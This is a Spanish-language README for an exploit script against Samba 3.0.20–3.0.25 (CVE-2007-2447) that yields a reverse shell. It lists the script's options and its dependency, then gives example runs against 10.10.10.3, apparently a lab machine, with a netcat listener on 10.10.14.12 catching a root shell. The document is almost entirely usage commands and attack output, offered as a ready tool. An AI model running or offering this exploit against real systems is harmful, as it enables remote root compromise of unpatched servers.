Este exploit te ayuda a obtener una reverse shell, explotando Samba 3.0.20 < 3.0.25

· Al ejecutar el script con python3 con el parámetro --help, nos pide una serie de parámetros

 --lhost LHOST  tu host   (ip donde se recibirá la shell)
 --lport LPORT  tu puerto   (puerto donde se recibirá la shell)
 --rhost RHOST  host remoto  (ip de la máquina víctima)
 --rport RPORT  puerto remoto  (puerto de la máquina víctima)

· Antes de ejecutar el script, haz esto

pip3 install pysmb

· Ejemplo

python3 samba_usermap.py --lhost 10.10.14.12 --lport 443 --rhost 10.10.10.3 --rport 139

· O puedes hacer

python3 samba_usermap.py --lh 10.10.14.12 --lp 443 --rh 10.10.10.3 --rp 139

· Ejemplo de cómo funciona el script

python3 samba_usermap.py --lhost 10.10.14.12 --lport 443 --rhost 10.10.10.3 --rport 139

· Recibimos la shell

❯ nc -nlvp 443
  listening on [any] 443 ...
  connect to [10.10.14.12] from (UNKNOWN) [10.10.10.3] 57498
  whoami
  root

CVE-2007-2447-RCE

Más Populares